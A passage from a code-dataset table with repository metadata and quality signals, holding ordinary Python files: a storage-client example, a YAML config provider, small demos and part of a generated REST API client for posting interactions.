hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
7180d60a81068e83c7cc3f9f972e58ae0d70afda | 1,297 | py | Python | docs/source/examples/FB2.0/get_object_store_access_policies_object_store_users.py | Flav-STOR-WL/py-pure-client | 03b889c997d90380ac5d6380ca5d5432792d3e89 | [
"BSD-2-Clause"
] | 14 | 2018-12-07T18:30:27.000Z | 2022-02-22T09:12:33.000Z | docs/source/examples/FB2.0/get_object_store_access_policies_object_store_users.py | Flav-STOR-WL/py-pure-client | 03b889c997d90380ac5d6380ca5d5432792d3e89 | [
"BSD-2-Clause"
] | 28 | 2019-09-17T21:03:52.000Z | 2022-03-29T22:07:35.000Z | docs/source/examples/FB2.0/get_object_store_access_policies_object_store_users.py | Flav-STOR-WL/py-pure-client | 03b889c997d90380ac5d6380ca5d5432792d3e89 | [
"BSD-2-Clause"
] | 15 | 2020-06-11T15:50:08.000Z | 2022-03-21T09:27:25.000Z | # list access policies for object store users
res = client.get_object_store_access_policies_object_store_users()
print(res)
if type(res) == pypureclient.responses.ValidResponse:
print(list(res.items))
# list access policies for specific user
res = client.get_object_store_access_policies_object_store_users(member_names=["acc1/myobjuser"])
print(res)
if type(res) == pypureclient.responses.ValidResponse:
print(list(res.items))
# list access policies for specific user by id
res = client.get_object_store_access_policies_object_store_users(member_ids=["10314f42-020d-7080-8013-000ddt400090"])
print(res)
if type(res) == pypureclient.responses.ValidResponse:
print(list(res.items))
# list only users with full access
res = client.get_object_store_access_policies_object_store_users(policy_names=["pure:policy/full-access"])
print(res)
if type(res) == pypureclient.responses.ValidResponse:
print(list(res.items))
# list only users with a specific policy by id
res = client.get_object_store_access_policies_object_store_users(policy_ids=["10314f42-020d-7080-8013-000ddt400012"])
print(res)
if type(res) == pypureclient.responses.ValidResponse:
print(list(res.items))
# Other valid fields: continuation_token, filter, limit, offset, sort
# See section "Common Fields" for examples
| 46.321429 | 117 | 0.801079 | 185 | 1,297 | 5.4 | 0.275676 | 0.121121 | 0.096096 | 0.09009 | 0.783784 | 0.737738 | 0.737738 | 0.737738 | 0.737738 | 0.737738 | 0 | 0.046809 | 0.094063 | 1,297 | 27 | 118 | 48.037037 | 0.803404 | 0.242097 | 0 | 0.75 | 0 | 0 | 0.111795 | 0.097436 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.5 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 7 |
719c40812973132a2073277bb050f2cd9a991f71 | 4,623 | py | Python | sitri/contrib/yaml.py | gitter-badger/sitri | fd2e7f2dfede0f3565b0dc9f9b8ae7a1bc94f7e2 | [
"MIT"
] | null | null | null | sitri/contrib/yaml.py | gitter-badger/sitri | fd2e7f2dfede0f3565b0dc9f9b8ae7a1bc94f7e2 | [
"MIT"
] | null | null | null | sitri/contrib/yaml.py | gitter-badger/sitri | fd2e7f2dfede0f3565b0dc9f9b8ae7a1bc94f7e2 | [
"MIT"
] | null | null | null | import os
import typing
import yaml
from ..config.providers import ConfigProvider
from ..credentials.providers import CredentialProvider
class YamlConfigProvider(ConfigProvider):
"""Config provider for YAML"""
provider_code = "yaml"
def __init__(self, yaml_path: str = "./data.yaml", default_separator: str = "."):
"""
:param yaml_path: path to yaml file
:param default_separator: default value separator for path-mode
"""
self._yaml = yaml.safe_load(open(os.path.abspath(yaml_path)))
self.separator = default_separator
def _get_by_path(self, path: str, separator: str) -> typing.Any:
"""Retrieve value from a dictionary using a list of keys.
:param path: string with separated keys
"""
dict_local = self._yaml.copy()
keys = path.split(separator)
for key in keys:
try:
dict_local = dict_local[int(key)] if key.isdigit() else dict_local[key]
except Exception:
if key not in dict_local:
return None
dict_local = dict_local[key]
return dict_local
def _get_by_key(self, key: str) -> typing.Any:
"""Retrieve value from a dictionary using a key.
:param key: key from json
"""
if key in self._yaml:
return self._yaml[key]
else:
return None
def get(self, key: str, path_mode: bool = False, separator: str = None) -> typing.Optional[typing.Any]:
"""Get value from json
:param key: key or path for search
:param path_mode: boolean mode switcher
:param separator: separator for path keys in path mode
"""
separator = separator if separator else self.separator
if path_mode:
return self._get_by_path(key, separator=separator)
return self._get_by_key(key)
def keys(self, path_mode: bool = False, separator: str = None) -> typing.List[str]:
"""Keys in json
:param path_mode: [future] path mode for keys list
:param separator: [future] separators for keys in path mode
"""
# TODO: implemented path-mode for keys list
if not path_mode:
return self._yaml.keys()
else:
raise NotImplementedError("Path-mode not implemented!")
class YamlCredentialProvider(CredentialProvider):
"""Credential provider for YAML"""
provider_code = "yaml"
def __init__(self, yaml_path: str = "./data.yaml", default_separator: str = "."):
"""
:param yaml_path: path to yaml file
:param default_separator: default value separator for path-mode
"""
self._yaml = yaml.safe_load(open(os.path.abspath(yaml_path)))
self.separator = default_separator
def _get_by_path(self, path: str, separator: str) -> typing.Any:
"""Retrieve value from a dictionary using a list of keys.
:param path: string with separated keys
"""
dict_local = self._yaml.copy()
keys = path.split(separator)
for key in keys:
try:
dict_local = dict_local[int(key)] if key.isdigit() else dict_local[key]
except Exception:
if key not in dict_local:
return None
dict_local = dict_local[key]
return dict_local
def _get_by_key(self, key: str) -> typing.Any:
"""Retrieve value from a dictionary using a key.
:param key: key from yaml
"""
if key in self._yaml:
return self._yaml[key]
else:
return None
def get(self, key: str, path_mode: bool = False, separator: str = None) -> typing.Optional[typing.Any]:
"""Get value from json
:param key: key or path for search
:param path_mode: boolean mode switcher
:param separator: separator for path keys in path mode
"""
separator = separator if separator else self.separator
if path_mode:
return self._get_by_path(key, separator=separator)
return self._get_by_key(key)
def keys(self, path_mode: bool = False, separator: str = None) -> typing.List[str]:
"""Keys in json
:param path_mode: [future] path mode for keys list
:param separator: [future] separators for keys in path mode
"""
# TODO: implemented path-mode for keys list
if not path_mode:
return self._yaml.keys()
else:
raise NotImplementedError("Path-mode not implemented!")
| 29.634615 | 107 | 0.605884 | 576 | 4,623 | 4.713542 | 0.133681 | 0.070718 | 0.023573 | 0.029466 | 0.917864 | 0.917864 | 0.917864 | 0.917864 | 0.917864 | 0.917864 | 0 | 0 | 0.304564 | 4,623 | 155 | 108 | 29.825806 | 0.844479 | 0.265628 | 0 | 0.895522 | 0 | 0 | 0.027141 | 0 | 0 | 0 | 0 | 0.012903 | 0 | 1 | 0.149254 | false | 0 | 0.074627 | 0 | 0.492537 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
719ebad60df6378ab586809b08c677b3eb620efb | 264 | py | Python | Python/Fluent_Python/chapter5/section15/else_statument.py | sunyunxian/test_lib | 5e98fff1074b301960d39165aa99d60db880b262 | [
"Apache-2.0"
] | 1 | 2021-12-17T14:57:30.000Z | 2021-12-17T14:57:30.000Z | Python/Fluent_Python/chapter5/section15/else_statument.py | ok-frank/test_lib | 5e98fff1074b301960d39165aa99d60db880b262 | [
"Apache-2.0"
] | null | null | null | Python/Fluent_Python/chapter5/section15/else_statument.py | ok-frank/test_lib | 5e98fff1074b301960d39165aa99d60db880b262 | [
"Apache-2.0"
] | null | null | null |
try:
print('No exception')
except:
print('Has exception')
else:
print('No exception, then do this')
try:
raise KeyError
print('No exception')
except:
print('Has exception')
else:
print('No exception, then do this, else not do this')
| 15.529412 | 57 | 0.643939 | 36 | 264 | 4.722222 | 0.361111 | 0.164706 | 0.376471 | 0.258824 | 0.811765 | 0.811765 | 0.811765 | 0.811765 | 0.811765 | 0.811765 | 0 | 0 | 0.231061 | 264 | 16 | 58 | 16.5 | 0.837438 | 0 | 0 | 0.769231 | 0 | 0 | 0.458015 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0.461538 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 11 |
71a2256c4d0b640e9ab968c0661d77c55ce4ccd6 | 135 | py | Python | tensorbuilder/patches/__init__.py | cgarciae/tensorbuilder | f8e0b19c09deaaea67611d9df51218e4a9cd705a | [
"MIT"
] | 109 | 2016-06-05T21:51:53.000Z | 2021-09-06T07:00:26.000Z | tensorbuilder/patches/__init__.py | cgarciae/tensorbuilder | f8e0b19c09deaaea67611d9df51218e4a9cd705a | [
"MIT"
] | 6 | 2016-06-06T01:05:40.000Z | 2016-09-19T19:30:49.000Z | tensorbuilder/patches/__init__.py | cgarciae/tensorbuilder | f8e0b19c09deaaea67611d9df51218e4a9cd705a | [
"MIT"
] | 13 | 2016-06-06T14:15:31.000Z | 2019-11-04T23:33:56.000Z | #import layers_patch
import tensorflow_patch
import summaries_patch
import layers_patch
import rnn_utilities_patch
import custom_patch
| 19.285714 | 26 | 0.903704 | 19 | 135 | 6.052632 | 0.421053 | 0.478261 | 0.295652 | 0.4 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.088889 | 135 | 6 | 27 | 22.5 | 0.934959 | 0.140741 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
71d73d74c09b8d200063b44afa2b3b9151dfd65a | 263,198 | py | Python | iengage_client/apis/interaction_api.py | iEngage/python-sdk | 76cc6ed697d7599ce9af74124c12d33ad5aff419 | [
"Apache-2.0"
] | null | null | null | iengage_client/apis/interaction_api.py | iEngage/python-sdk | 76cc6ed697d7599ce9af74124c12d33ad5aff419 | [
"Apache-2.0"
] | null | null | null | iengage_client/apis/interaction_api.py | iEngage/python-sdk | 76cc6ed697d7599ce9af74124c12d33ad5aff419 | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
"""
iEngage 2.0 API
This API enables Intelligent Engagement for your Business. iEngage is a platform that combines process, augmented intelligence and rewards to help you intelligently engage customers.
OpenAPI spec version: 2.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
from __future__ import absolute_import
import sys
import os
import re
# python 2 and python 3 compatibility library
from six import iteritems
from ..configuration import Configuration
from ..api_client import ApiClient
class InteractionApi(object):
"""
NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
config = Configuration()
if api_client:
self.api_client = api_client
else:
if not config.api_client:
config.api_client = ApiClient()
self.api_client = config.api_client
def add_interaction(self, requester_id, client_token, **kwargs):
"""
Share interaction without attachment
This service allows a user to post an interaction. The following fields(key:value) are required to be present in the Interaction JSON object. Refer to the Model & Model Schema of the expected JSON Object for the body of this API. **Required fields** 1. interactionTitle
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.add_interaction(requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param InteractionInputModel body:
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteraction
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.add_interaction_with_http_info(requester_id, client_token, **kwargs)
else:
(data) = self.add_interaction_with_http_info(requester_id, client_token, **kwargs)
return data
def add_interaction_with_http_info(self, requester_id, client_token, **kwargs):
"""
Share interaction without attachment
This service allows a user to post an interaction. The following fields(key:value) are required to be present in the Interaction JSON object. Refer to the Model & Model Schema of the expected JSON Object for the body of this API. **Required fields** 1. interactionTitle
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.add_interaction_with_http_info(requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param InteractionInputModel body:
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteraction
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['requester_id', 'client_token', 'body', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method add_interaction" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `add_interaction`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `add_interaction`")
resource_path = '/interactions'.replace('{format}', 'json')
path_params = {}
query_params = {}
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteraction',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def add_interaction_0(self, interaction_title, file, requester_id, client_token, **kwargs):
"""
Share interaction with attachment
Allows the user to share interaction with attachment. Returns the interaction object
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.add_interaction_0(interaction_title, file, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str interaction_title: interactionTitle (required)
:param file file: file (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str category_id: categoryId
:param str interaction_type: interactionType
:param str interaction_description: interactionDescription
:param str association: association
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteraction
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.add_interaction_0_with_http_info(interaction_title, file, requester_id, client_token, **kwargs)
else:
(data) = self.add_interaction_0_with_http_info(interaction_title, file, requester_id, client_token, **kwargs)
return data
def add_interaction_0_with_http_info(self, interaction_title, file, requester_id, client_token, **kwargs):
"""
Share interaction with attachment
Allows the user to share interaction with attachment. Returns the interaction object
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.add_interaction_0_with_http_info(interaction_title, file, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str interaction_title: interactionTitle (required)
:param file file: file (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str category_id: categoryId
:param str interaction_type: interactionType
:param str interaction_description: interactionDescription
:param str association: association
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteraction
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['interaction_title', 'file', 'requester_id', 'client_token', 'category_id', 'interaction_type', 'interaction_description', 'association', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method add_interaction_0" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'interaction_title' is set
if ('interaction_title' not in params) or (params['interaction_title'] is None):
raise ValueError("Missing the required parameter `interaction_title` when calling `add_interaction_0`")
# verify the required parameter 'file' is set
if ('file' not in params) or (params['file'] is None):
raise ValueError("Missing the required parameter `file` when calling `add_interaction_0`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `add_interaction_0`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `add_interaction_0`")
resource_path = '/interactions/attachment'.replace('{format}', 'json')
path_params = {}
query_params = {}
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
if 'category_id' in params:
form_params.append(('categoryId', params['category_id']))
if 'interaction_type' in params:
form_params.append(('interactionType', params['interaction_type']))
if 'interaction_title' in params:
form_params.append(('interactionTitle', params['interaction_title']))
if 'interaction_description' in params:
form_params.append(('interactionDescription', params['interaction_description']))
if 'association' in params:
form_params.append(('association', params['association']))
if 'file' in params:
local_var_files['file'] = params['file']
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['multipart/form-data'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteraction',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def add_response(self, interaction_id, requester_id, client_token, **kwargs):
"""
Response the specified interaction
This service allows a user to post a response on an interaction. The following fields(key:value) are required to be present in the Response JSON object. Refer to the Model & Model Schema of the expected JSON Object for the body of this API. **Required fields** 1. interactionId (Path Parameter) 2. responseDescription
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.add_response(interaction_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param InteractionResponse body:
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.add_response_with_http_info(interaction_id, requester_id, client_token, **kwargs)
else:
(data) = self.add_response_with_http_info(interaction_id, requester_id, client_token, **kwargs)
return data
def add_response_with_http_info(self, interaction_id, requester_id, client_token, **kwargs):
"""
Response the specified interaction
This service allows a user to post a response on an interaction. The following fields(key:value) are required to be present in the Response JSON object. Refer to the Model & Model Schema of the expected JSON Object for the body of this API. **Required fields** 1. interactionId (Path Parameter) 2. responseDescription
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.add_response_with_http_info(interaction_id, requester_id, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int interaction_id: interactionId (required)
:param str requester_id: requesterId can be user id OR email address. (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param InteractionResponse body:
:param str access_token: Unique session token for user. To get access token user will have to authenticate
:return: VerveResponseInteractionResponse
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['interaction_id', 'requester_id', 'client_token', 'body', 'access_token']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method add_response" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'interaction_id' is set
if ('interaction_id' not in params) or (params['interaction_id'] is None):
raise ValueError("Missing the required parameter `interaction_id` when calling `add_response`")
# verify the required parameter 'requester_id' is set
if ('requester_id' not in params) or (params['requester_id'] is None):
raise ValueError("Missing the required parameter `requester_id` when calling `add_response`")
# verify the required parameter 'client_token' is set
if ('client_token' not in params) or (params['client_token'] is None):
raise ValueError("Missing the required parameter `client_token` when calling `add_response`")
resource_path = '/interactions/{interactionId}/responses'.replace('{format}', 'json')
path_params = {}
if 'interaction_id' in params:
path_params['interactionId'] = params['interaction_id']
query_params = {}
header_params = {}
if 'requester_id' in params:
header_params['requesterId'] = params['requester_id']
if 'access_token' in params:
header_params['accessToken'] = params['access_token']
if 'client_token' in params:
header_params['clientToken'] = params['client_token']
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/x-www-form-urlencoded', 'application/json'])
# Authentication setting
auth_settings = ['default']
return self.api_client.call_api(resource_path, 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='VerveResponseInteractionResponse',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'))
def add_response_0(self, body, body2, logged_in_user_id, access_token, client_token, **kwargs):
"""
Response the specified interaction
Allows the user to response the interaction
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.add_response_0(body, body2, logged_in_user_id, access_token, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int body: interactionId (required)
:param str body2: response (required)
:param str logged_in_user_id: User id of logged / authenticated user (required)
:param str access_token: Unique session token for user. To get access token user will have to authenticate (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
:param str body3: Filter fields in result list /* **A) Default values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionType **A) Available values -** 1)responseId 2)responseDescription 3)createdDate 4)interactionId 5)respondingUser 6)isMarkedResponse 7)noOfLikes 8)noOfDislikes 9)replyCount 10)isLiked 11)isDisliked 12)interactionType */
:param list[Attachment] body4:
:return: VerveResponseInteractionResponse
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.add_response_0_with_http_info(body, body2, logged_in_user_id, access_token, client_token, **kwargs)
else:
(data) = self.add_response_0_with_http_info(body, body2, logged_in_user_id, access_token, client_token, **kwargs)
return data
def add_response_0_with_http_info(self, body, body2, logged_in_user_id, access_token, client_token, **kwargs):
"""
Response the specified interaction
Allows the user to response the interaction
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.add_response_0_with_http_info(body, body2, logged_in_user_id, access_token, client_token, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int body: interactionId (required)
:param str body2: response (required)
:param str logged_in_user_id: User id of logged / authenticated user (required)
:param str access_token: Unique session token for user. To get access token user will have to authenticate (required)
:param str client_token: Use the Client Token. Please generate it from the Applications section under the Production & Sandbox tabs (required)
